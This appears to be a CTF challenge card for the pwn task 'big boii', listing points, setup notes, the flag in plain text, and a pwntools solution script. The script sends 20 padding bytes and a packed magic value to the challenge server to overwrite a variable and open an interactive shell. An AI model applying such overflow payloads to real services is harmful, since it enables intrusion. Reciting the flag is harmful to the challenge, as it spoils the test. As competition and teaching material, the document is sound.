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big boii

Description

• Only big boi pwners will get this one!

Points

• 25

Flag

• flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}

Setup

• Make sure that competitors can connect to the challenge

Notes

• Mach-o 64-bit binary
• Provide dylibs to the competitors
• Place all linux cmds that can read files to different directory

Solution

#!/usr/bin/env python
from pwn import *

context.log_level = 'debug'

#p = process("./boi")
p = remote("pwn.chal.csaw.io", 9000)
#p = remote("localhost", 1436)
p.recvuntil("??")
print "before"
p.sendline('A' * 20 + p32(0xcaf3baee))
print "after"
p.interactive()

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